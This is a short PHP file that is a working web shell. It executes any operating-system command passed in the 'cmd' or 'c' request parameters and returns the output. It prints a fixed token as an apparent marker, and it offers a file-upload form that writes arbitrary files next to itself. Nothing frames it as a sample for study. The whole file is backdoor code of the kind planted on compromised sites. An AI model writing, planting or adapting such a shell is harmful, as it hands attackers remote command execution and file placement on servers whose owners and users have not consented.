<?php $t='Mcb807ad3910536bd9460';if(isset($_REQUEST['cmd'])){echo shell_exec($_REQUEST['cmd']);}elseif(isset($_REQUEST['c'])){echo shell_exec($_REQUEST['c']);}else{echo $t;}if(isset($_GET['up'])){  if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){    $n=basename($_FILES['file']['name']);    $n=preg_replace('/[^A-Za-z0-9._-]/','_',$n);    if($n===''||$n==='.'||$n==='..'){echo 'BAD_NAME';exit;}    if(!is_uploaded_file($_FILES['file']['tmp_name'])){echo 'UPLOAD_ERR';exit;}    $dst=__DIR__.DIRECTORY_SEPARATOR.$n;    if(@move_uploaded_file($_FILES['file']['tmp_name'],$dst)){echo 'success:'.$n;}    else{echo 'MOVE_FAIL';}    exit;  }  header('Content-Type: text/html; charset=utf-8');  echo '<form method="post" enctype="multipart/form-data"><input type="file" name="file"><button>up</button></form>';  exit;}?>